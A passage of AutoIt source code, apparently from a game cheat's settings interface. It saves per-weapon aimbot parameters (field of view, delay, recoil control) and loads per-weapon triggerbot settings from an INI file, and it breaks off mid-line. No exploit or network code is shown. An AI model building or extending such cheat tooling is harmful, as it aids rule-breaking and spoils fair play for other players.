GUICtrlSetData($menuheight, $readheightvalue) Case $delayleft $readdelayvalue -=1 If $readdelayvalue < 0 Then $readdelayvalue = 0 EndIf GUICtrlSetData($menudelay, $readdelayvalue) Case $delayright $readdelayvalue +=1 GUICtrlSetData($menudelay, $readdelayvalue) Case $save $readw = GUICtrlRead($hCombo) IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) If $readw = "Deagle" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_deagle.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_deagle.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_deagle.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_deagle.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_deagle.rcs", $readrcsvalue) EndIf If $readw = "P2000" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_p2000.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_p2000.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_p2000.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_p2000.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_p2000.rcs", $readrcsvalue) EndIf If $readw = "elite" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_elite.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_elite.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_elite.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_elite.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_elite.rcs", $readrcsvalue) EndIf If $readw = "p90" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_p90.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_p90.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_p90.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_p90.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_p90.rcs", $readrcsvalue) EndIf If $readw = "mac10" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_mac10.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_mac10.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_mac10.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_mac10.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_mac10.rcs", $readrcsvalue) EndIf If $readw = "bizon" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_bizon.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_bizon.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_bizon.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_bizon.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_bizon.rcs", $readrcsvalue) EndIf If $readw = "sg553" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_sg553.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_sg553.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_sg553.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_sg553.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_sg553.rcs", $readrcsvalue) EndIf If $readw = "fiveseven" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_fiveseven.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_fiveseven.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_fiveseven.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_fiveseven.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_fiveseven.rcs", $readrcsvalue) EndIf If $readw = "glock" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_glock.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_glock.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_glock.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_glock.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_glock.rcs", $readrcsvalue) EndIf If $readw = "p228" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_p228.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_p228.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_p228.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_p228.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_p228.rcs", $readrcsvalue) EndIf If $readw = "p250" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_p250.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_p250.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_p250.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_p250.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_p250.rcs", $readrcsvalue) EndIf If $readw = "usp" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_usp.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_usp.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_usp.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_usp.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_usp.rcs", $readrcsvalue) EndIf If $readw = "famas" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_famas.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_famas.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_famas.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_famas.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_famas.rcs", $readrcsvalue) EndIf If $readw = "ak47" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_ak47.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_ak47.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_ak47.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_ak47.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_ak47.rcs", $readrcsvalue) EndIf If $readw = "nova" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_nova.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_nova.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_nova.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_nova.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_nova.rcs", $readrcsvalue) EndIf If $readw = "mag7" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_mag7.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_mag7.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_mag7.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_mag7.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_mag7.rcs", $readrcsvalue) EndIf If $readw = "ump45" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_ump45.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_ump45.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_ump45.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_ump45.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_ump45.rcs", $readrcsvalue) EndIf If $readw = "mp7" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_mp7.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_mp7.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_mp7.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_mp7.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_mp7.rcs", $readrcsvalue) EndIf If $readw = "m4a1" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_m4a1.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_m4a1.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_m4a1.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_m4a1.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_m4a1.rcs", $readrcsvalue) EndIf If $readw = "galil" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_galil.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_galil.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_galil.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_galil.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_galil.rcs", $readrcsvalue) EndIf If $readw = "galilar" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_galilar.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_galilar.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_galilar.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_galilar.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_galilar.rcs", $readrcsvalue) EndIf If $readw = "aug" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_aug.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_aug.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_aug.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_aug.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_aug.rcs", $readrcsvalue) EndIf If $readw = "scar20" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_scar20.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_scar20.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_scar20.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_scar20.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_scar20.rcs", $readrcsvalue) EndIf If $readw = "awp" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_awp.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_awp.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_awp.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_awp.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_awp.rcs", $readrcsvalue) EndIf If $readw = "g3sg1" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_g3sg1.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_g3sg1.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_g3sg1.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_g3sg1.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_g3sg1.rcs", $readrcsvalue) EndIf If $readw = "m249" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_m249.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_m249.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_m249.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_m249.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_m249.rcs", $readrcsvalue) EndIf If $readw = "m3" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_m3.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_m3.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_m3.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_m3.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_m3.rcs", $readrcsvalue) EndIf If $readw = "mp5navy" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_mp5navy.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_mp5navy.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_mp5navy.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_mp5navy.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_mp5navy.rcs", $readrcsvalue) EndIf If $readw = "scout" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_scout.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_scout.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_scout.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_scout.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_scout.rcs", $readrcsvalue) EndIf If $readw = "sg550" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_sg550.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_sg550.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_sg550.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_sg550.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_sg550.rcs", $readrcsvalue) EndIf If $readw = "sg552" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_sg552.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_sg552.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_sg552.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_sg552.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_sg552.rcs", $readrcsvalue) EndIf If $readw = "tmp" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_tmp.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_tmp.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_tmp.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_tmp.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_tmp.rcs", $readrcsvalue) EndIf If $readw = "xm1014" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_xm1014.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_xm1014.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_xm1014.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_xm1014.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_xm1014.rcs", $readrcsvalue) EndIf If $readw = "negev" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_negev.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_negev.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_negev.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_negev.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_negev.rcs", $readrcsvalue) EndIf If $readw = "sawedoff" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_sawedoff.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_sawedoff.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_sawedoff.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_sawedoff.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_sawedoff.rcs", $readrcsvalue) EndIf If $readw = "tec9" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_tec9.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_tec9.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_tec9.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_tec9.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_tec9.rcs", $readrcsvalue) EndIf If $readw = "taser" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_taser.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_taser.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_taser.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_taser.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_taser.rcs", $readrcsvalue) EndIf If $readw = "mp9" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_mp9.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_mp9.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_mp9.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_mp9.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_mp9.rcs", $readrcsvalue) EndIf If $readw = "scar17" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_scar17.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_scar17.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_scar17.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_scar17.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_scar17.rcs", $readrcsvalue) EndIf If $readw = "ssg08" Then IniWrite( $FileSet, "Settings", "Aimbot_Key", $key) IniWrite( $FileSet, "Settings", "Aimbot_Smooth", $smooth) IniWrite( $FileSet, "Settings", "Aimbot_VisibilityCheck", $viasghfaf) IniWrite($FileSet, "WeaponSettings", "aimbot_ssg08.fov", $readfovvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_ssg08.height", $readheightvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_ssg08.delay", $readdelayvalue) IniWrite($FileSet, "WeaponSettings", "aimbot_ssg08.enabled", $readenablevalue) IniWrite($FileSet, "WeaponSettings", "aimbot_ssg08.rcs", $readrcsvalue) EndIf Case $thCombo Switch GUICtrlRead($thCombo) Case "Deagle" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_deagle.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_deagle.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_deagle.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_deagle.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_deagle.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "P2000" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_P2000.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_P2000.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_P2000.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_P2000.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_P2000.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "elite" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_elite.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_elite.enabled", 0) $treadhitboxvalue = IniRead($FileSet, "Weaponsettings", "triggerbot_elite.hitbox", 0) GUICtrlSetData($menuhitbox, $treadhitboxvalue) $treadaftervalue = IniRead($FileSet, "Weaponsettings", "triggerbot_elite.afterdelay", 0) GUICtrlSetData($menuafter, $treadaftervalue) $treadbeforevalue = IniRead($FileSet, "Weaponsettings", "triggerbot_elite.beforedelay", 0) GUICtrlSetData($menubefore, $treadbeforevalue) If $treadhitvalue = 1 Then GUICtrlSetImage($Allbon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Allbon, @TempDir & "\Disable.bmp") EndIf If $treadenablevalue = 1 Then GUICtrlSetImage($Trigon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Trigon, @TempDir & "\Disable.bmp") EndIf Case "p90" $treadhitvalue = IniRead($FileSet, "WeaponSettings", "triggerbot_p90.allbody", 0) $treadenablevalue = IniRead($FileSet, "WeaponSettings", "triggerbot_p90.enabled", 0) $treadhitboxvalue = 